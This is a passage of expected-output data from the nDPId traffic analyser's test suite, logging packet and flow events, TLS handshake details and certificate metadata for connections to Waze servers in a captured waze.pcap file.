View, O=Google Inc, CN=*.world.waze.com","fingerprint":"30:50:FA:42:94:E4:1A:34:9B:23:55:CB:7B:F2:0D:76:FA:1C:58:4B"}} +00408{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":832815,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoEZtAAEAGeEAKCAABNBFy25htAbtopH8Ml1uPTlAQ\/\/9WXAAA"} +00657{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":901005,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADeDkNAAEAGtvcKCAABsCK6tI3YAbvsnGGpE2OeWFAY\/\/8ZoQAAFgMBALEBAACtAwFWCBNoAIHi9OlNrmTTyx\/umOS8ZNI54fs0MYN5hNdT+wAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":368,"source":"waze.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":4,"flow_first_seen":1435587878606,"flow_last_seen":1435587878901,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.186.180","src_port":36312,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00408{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587878,"pkt_ts_usec":901314,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodSJAABAGgM6wIrq0CggAAQG7jdgTY55Y7JxiX1AQ\/\/+qqQAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":370,"source":"waze.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1435587879018,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.186.180","src_port":36314,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":18798,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8CjxAAEAGu6AKCAABsCK6tI3aAbtwD3ouAAAAAKAC\/\/\/pMQAAAgQFtAQCCAoACHASAAAAAAEDAwg="} +00407{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":20661,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodSNAABAGgM2wIrq0CggAAQG7jdqP8IXRcA96L1AS\/\/+rXAAA"} +00408{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":20846,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCj1AAEAGu7MKCAABsCK6tI3aAbtwD3ovj\/CF0lAQ\/\/+rXQAA"} +00595{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":130036,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"ABoRAAACABoRAAABCABFAACuEZxAAEAGd7kKCAABNBFy25htAbtopH8Ml1uPTlAY\/\/9XCgAAFgMBAEYQAABCQQQATU4nliehvNXm16xRaCitOB\/9BSV0IzVuFLFin1daa5Q2BJoDXENmdVLRDFYwQFmjb4+go7AlwuB\/6\/X3g7B2FAMBAAEBFgMBADAp5TwOgUBjgp6LZ7MpTXgv5bZA477tqS8CTnJvnl6OgegZQLA+2ARDBJixIlcwPwg="} +00410{"flow_id":18,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":130362,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodSRAABAGRLc0EXLbCggAAQG7mG2XW49OaKR\/klAQ\/\/9V1gAA"} +01774{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":181153,"pkt_caplen":1066,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1066,"pkt_l4_len":1032,"pkt":"ABoRAAACABoRAAABCABFAAQcdSVAABAGfNewIrq0CggAAQG7jdgTY55Y7JxiX1AY\/\/+BGwAAFgMBAD0CAAA5AwH43\/Coq+O7F27uwBca4DxqHvsYbg\/KrmI1zK52e1hLPwDAEwAAEf8BAAEAAAsABAMAAQIAIwAAFgMBDAMLAAv\/AAv8AAR+MIIEejCCA2KgAwIBAgIIdngzx9KEkDUwDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwHhcNMTQxMTA2MTYwOTIwWhcNMTUxMTA2MTYwOTIwWjBqMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNTW91bnRhaW4gVmlldzETMBEGA1UECgwKR29vZ2xlIEluYzEZMBcGA1UEAwwQKi53b3JsZC53YXplLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALl19Yrv10JVvbDv+DcdGs3iL2qAyWGBCh9dBBfDSAPztP2zJeYXmnPQLCabDumM5sV7994IeE\/lDlNg\/Ee9AVVGazduLe76CEdBASswND6c3ScTzsmvvizSQ7iCLmTGWdY7m78IvHnpcTTwMbz1xjAt6nbJdrDsWlDzyhhCDWK6IfCRuO2hGmKNKEWvAgjjIYQ2nDdUeRvoXH+AAQVpDFmbrN5yTBDUdjrgiaq0ZhMga3iYMHUUlpNRnB25Y7qg9ksH8qvnj7eM5yjiE+Gz9pntMytr\/XyqrWsNzChuSvj8cLLo3RMatDoPKfiw+mfBtr75CMCZ0Z+MZJmYi8WLjaUCAwEAAaOCAUMwggE\/MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAbBgNVHREEFDASghAqLndvcmxkLndhemUuY29tMGgGCCsGAQUFBwEBBFwwWjArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNydDArBggrBgEFBQcwAYYfaHR0cDovL2NsaWVudHMxLmdvb2dsZS5jb20vb2NzcDAdBgNVHQ4EFgQU1mxvIJu5ECrTi3o6310abW3e5WgwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBRK3QYWG7z2aLV29YG2u2IaulqBLzAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNybDANBgkqhkiG9w0BAQUFAAOCAQEAVpjbOikll0Teaae1COIvpXTJakGeRLf+92aO+LubSXxVPd8MVw=="} +00786{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":375,"source":"waze.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":6,"flow_first_seen":1435587878606,"flow_last_seen":1435587879181,"flow_tot_l4_data_len":1334,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1032,"flow_avg_l4_data_len":222,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.186.180","src_port":36312,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"}} +00408{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":233437,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoDkRAAEAGt6wKCAABsCK6tI3YAbvsnGJfE2OiTFAQ\/\/+mtQAA"} +03764{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":233895,"pkt_caplen":2533,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2533,"pkt_l4_len":2499,"pkt":"ABoRAAACABoRAAABCABFAAnXdSZAABAGdxuwIrq0CggAAQG7jdgTY6JM7JxiX1AY\/\/\/5bAAArk7up77uZPNVyV7g4v0FdNaA4H2bmbFdqmVeEvMai5o\/\/LPEJ5nE3h6aJgzEnY10184hZ0pJKNzB7LlHg9\/jBgtZz30+X7GYpZb7hQrgWvRHcEpC2FDotzJad25Ok5feLRvWgQpIUvVWKGd7lUPGCscaNn3ghsb3pVMZTJx7RtXL+Wv9RBhj9xnLqLvTtM1mDz9HxUJPoTkrjzZnaL17cYdUXtSiiC9FFbFwWCYUzH63K2R6AXXJ1GOZnp\/LWOSnhgC+kYVfv9q9GSMudWc0dTJGzI5A7twTnhV0AAP0MIID8DCCAtigAwIBAgIDAjp2MA0GCSqGSIb3DQEBBQUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMwNDA1MTUxNTU1WhcNMTYxMjMxMjM1OTU5WjBJMQswCQYDVQQGEwJVUzETMBEGA1UEChMKR29vZ2xlIEluYzElMCMGA1UEAxMcR29vZ2xlIEludGVybmV0IEF1dGhvcml0eSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJwqBHdc2FCROgajguDYUEi8iT\/xGXAaiEZ+4I\/F8YnOIe5a\/mENtzJEiaB0C1NPVaTOgmKV7utZX8bhBYASxF6UP7xbSDj0U\/ck5vuR6RXEz\/RTDfRK\/J9U3n2+oGtvh8DQUB8oMANA2ghzUWx\/\/zo8pzcGjr1LEQTrfSTe5vn8MXH7lNVg8y5Kr0LSy+rEahqyzFPdFUuLH8gZYR\/Nnag+YyuENWllhMgZxUYi+FOVvuOAShDGKuy6lyARxzmZEASg8GF6lSWMTlJ14rbtCMoU\/M4iarNOz0YDl5cDfsCx3nuvRTPPuj5xt970JSXCDTWJnZ37DhF5iR43xa+OcmkCAwEAAaOB5zCB5DAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQUSt0GFhu89mi1dvWBtrtiGrpagS8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNQYDVR0fBC4wLDAqoCigJoYkaHR0cDovL2cuc3ltY2IuY29tL2NybHMvZ3RnbG9iYWwuY3JsMC4GCCsGAQUFBwEBBCIwIDAeBggrBgEFBQcwAYYSaHR0cDovL2cuc3ltY2QuY29tMBcGA1UdIAQQMA4wDAYKKwYBBAHWeQIFATANBgkqhkiG9w0BAQUFAAOCAQEAJ4zP6cc7vsBv6JaE+5xcXZDkd9uLMmCbZdiFJrW6nx7eZE4fxsggWwmfq6ngCTRFomUlNz1\/Wm8gzPn68R2PEAwCOsTJAXaWvpv5Fdg50cUDR3a4iowx1mDV5I\/b+jzG1Zgo+ByPF5E0y8tSetH7OiDk4Yax2BgPvtaHZI3FCiVCUe+yOLjgHdDh\/Ob0r0a678C\/xbQF9ZR1DP6ivgK66oZb+TWzZvXFjYWhGiN3GhkXVBNgnwvhtJwoKvmuAjRtJZOcgqgXe\/GFsNMPWOH7sf6coaPo\/ck\/9Ndx3L2MpBngISMjVROPpBYCCX65r+7bU2S9cS+5Oc4wt7S8VOBHBwADgTCCA30wggLmoAMCAQICAxK75jANBgkqhkiG9w0BAQUFADBOMQswCQYDVQQGEwJVUzEQMA4GA1UEChMHRXF1aWZheDEtMCsGA1UECxMkRXF1aWZheCBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MB4XDTAyMDUyMTA0MDAwMFoXDTE4MDgyMTA0MDAwMFowQjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xGzAZBgNVBAMTEkdlb1RydXN0IEdsb2JhbCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANrMGGMw\/fQXIxpWflvfPGw45HG3eJHUvKHYTPioQ7YD6U0hBwiI2lgvZjkpvQV4i5046AW3an5xpObEYKaw74DkiSgPniXW7YPzraaRx5jJQhg1FJ2tmEaSLk\/K8YdDwRaVVy1Q74ktgHpXrfLuX2vSAI25FPgUFTXZwEaje3LIkb\/JVSvN0Jc+nCZkzN\/Ogxlxyk7m1NV7qRnNVd7I7NJeOFPlXE+MLf5QIzb8ZubLjqQ5GQC3lQI5kQsO\/jgu0R0FmvZNPm8PBx2vLB6PYDni+jZTEznUXiYr2z2oFL0y6xgDKFIEceWrMz3hOLsHNoRinHnqFjD0X8Ar6HFr5PkCAwEAAaOB8DCB7TAfBgNVHSMEGDAWgBRI5mj5K9KylddH2CMgEE8zmJCf1DAdBgNVHQ4EFgQUwHqYaI2J+6sFZAwRfap9ZbjKzE4wDwYDVR0TAQH\/BAUwAwEB\/zAOBgNVHQ8BAf8EBAMCAQYwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nZW90cnVzdC5jb20vY3Jscy9zZWN1cmVjYS5jcmwwTgYDVR0gBEcwRTBDBgRVHSAAMDswOQYIKwYBBQUHAgEWLWh0dHBzOi8vd3d3Lmdlb3RydXN0LmNvbS9yZXNvdXJjZXMvcmVwb3NpdG9yeTANBgkqhkiG9w0BAQUFAAOBgQB24RJuTksWEoYwBrKBCM\/wCMfHcX5m7sLt1Dsf\/\/DwyE7WQziwuTB9GNBVg6JqyzYRnOhIZqNtf7gT1Ef+i1pcc\/yu2RsyGTirlzQUqpbS66McFAhJtrvlke+DNusdVm\/K2rxzY5Dkf3s+Iss9B+1fOHSc4wNQTqGvmO5h8oQ\/EhYDAQFLDAABRwMAF0EEUdfsExjWe4NHvbr+edgPwpaXr5ofgQ+6PoRFH55R0LbV3sdciOak08kRsDmselhUdfdTYpOuXzq6q0ZsDW7nXAEAGak2Za+JSk7lktynDqeu6k1aYmY\/TYvW6UvvHpwPNzIIzTQwKvOTt4eK7wPrFaT0BdUTHyV09GY9LxFxaa\/ebPM69mSaVVwA2bAD3OUKrb\/8bLxhh8H64KZcWJQWJXYtYbZJRT63XEHOM2gE31McbBpnb1oKdcv9pXwa5fsNJLlx7opmim9te8urE4+IcuATgeUzfl\/AP7HRCW5mGTJS4ke6ORtBp2W2LUuTVonmt+NR1ramSMHOvVE8G\/f3OFQKt4JjI9onzHV9E6fEjfdUNLxWoBo0QGB1sWh2S5viK8iwQHhlsCLNvmSqKXXExF6G79f6NT2Q3+vTFsSRb6rBbRYDAQAEDgAAAA=="} +01044{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":377,"source":"waze.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":8,"flow_first_seen":1435587878606,"flow_last_seen":1435587879233,"flow_tot_l4_data_len":3853,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2499,"flow_avg_l4_data_len":481,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.186.180","src_port":36312,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.world.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.world.waze.com","fingerprint":"30:50:FA:42:94:E4:1A:34:9B:23:55:CB:7B:F2:0D:76:FA:1C:58:4B"}} +00408{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":284185,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoDkVAAEAGt6sKCAABsCK6tI3YAbvsnGJfE2Or+1AQ\/\/+dBgAA"} +00729{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":382881,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdSdAABAGQ8o0EXLbCggAAQG7mG2XW49OaKR\/klAY\/\/+rAgAAFgMBAKoEAACmAAABLACgg\/JpS9qUL5p6+FH6c6MxwCK4cRLLEBytlVyqVmEEI8OflthIa4sgVetDlAHzCcVMWYkVzzbYIS9BkZtAOy60ryDRoSLKVkLABThVCDjY3JeIVBvKwFfQBYacpLg5nSJPcAr7nj8DS9LMW\/gf1uT2S\/B8mfQ6hpRI0jpOHj4+jEC2hmIqP6z\/BMORDidHGn5YQGlf4G3mFElDqimOASRQdxQDAQABARYDAQAwp2f81zUNMEDKpW8aaqGPR1ZnVymJK4QaPamhmqfVPdLLcY06wLo2Nr1hIyYf8Zhb"} +00409{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":380,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":439480,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoEZ1AAEAGeD4KCAABNBFy25htAbtopH+Sl1uQOFAQ\/\/9U7AAA"} +00659{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":574527,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADeCj5AAEAGuvwKCAABsCK6tI3aAbtwD3ovj\/CF0lAY\/\/\/+sgAAFgMBALEBAACtAwGSsw\/fktSmaBgooXXKSQQjKTgV1PXtiav8sr65RpY55wAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":383,"source":"waze.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":4,"flow_first_seen":1435587879018,"flow_last_seen":1435587879574,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.186.180","src_port":36314,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00408{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":574890,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodSlAABAGgMewIrq0CggAAQG7jdqP8IXScA965VAQ\/\/+qpwAA"} +00596{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":709248,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"ABoRAAACABoRAAABCABFAACuDkZAAEAGtyQKCAABsCK6tI3YAbvsnGJfE2Or+1AY\/\/+e1AAAFgMBAEYQAABCQQTKtcwr30+oDHBPWKWYbRHy0eyakPFGIW4xcbL6BoqSb+ZiZ3SiSZoVFxmHb69Ys\/1iEh9\/w1Q7L8H4sMwJiAn4FAMBAAEBFgMBADDSGEm7wBPM25MNlbKzm4DTdjgpRJUTYlTdtCsl3oOBqhQg\/ftMX3En0j1UC\/NlyJ8="} +00409{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":709576,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodSpAABAGgMawIrq0CggAAQG7jdgTY6v77Jxi5VAQ\/\/+cgAAA"} +00614{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":798185,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"ABoRAAACABoRAAABCABFAAC9EZ5AAEAGd6gKCAABNBFy25htAbtopH+Sl1uQOFAY\/\/\/kzgAAFwMBAJD8HE52CfIrV3Brayr5u11zfpMHdFPFm9zUE2a8OjB3cI+FuzesbgxZkjaTMZ5RAsGAjIr1M5ytCzgsUxySeIGsd9XDJp9DHl9sUd5nXNRC4xyMk9JgZLal69XWqJtpg5FkzW\/gA22yto0HI1i0rxA5eaLYMck3kGgx2L48tMPmfFrga9pLlQSgkt7Q8dwi+Lk="} +00409{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":798806,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodStAABAGRLA0EXLbCggAAQG7mG2XW5A4aKSAJ1AQ\/\/9UVwAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":393,"source":"waze.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1435587879850,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.186.180","src_port":36316,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":850574,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8Fw9AAEAGrs0KCAABsCK6tI3cAbueIGdrAAAAAKAC\/\/\/NjwAAAgQFtAQCCAoACHBkAAAAAAEDAwg="} +00408{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":852814,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodS5AABAGgMKwIrq0CggAAQG7jdxh35iUniBnbFAS\/\/+rWgAA"} +00408{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":853039,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoFxBAAEAGruAKCAABsCK6tI3cAbueIGdsYd+YlVAQ\/\/+rWwAA"} +01773{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":855334,"pkt_caplen":1066,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1066,"pkt_l4_len":1032,"pkt":"ABoRAAACABoRAAABCABFAAQcdS9AABAGfM2wIrq0CggAAQG7jdqP8IXScA965VAY\/\/+UhwAAFgMBAD0CAAA5AwFcqzwTYQh3\/v2OgspaMDMux1UIfhSf8mNupsBH2EOrqwDAEwAAEf8BAAEAAAsABAMAAQIAIwAAFgMBDAMLAAv\/AAv8AAR+MIIEejCCA2KgAwIBAgIIdngzx9KEkDUwDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ld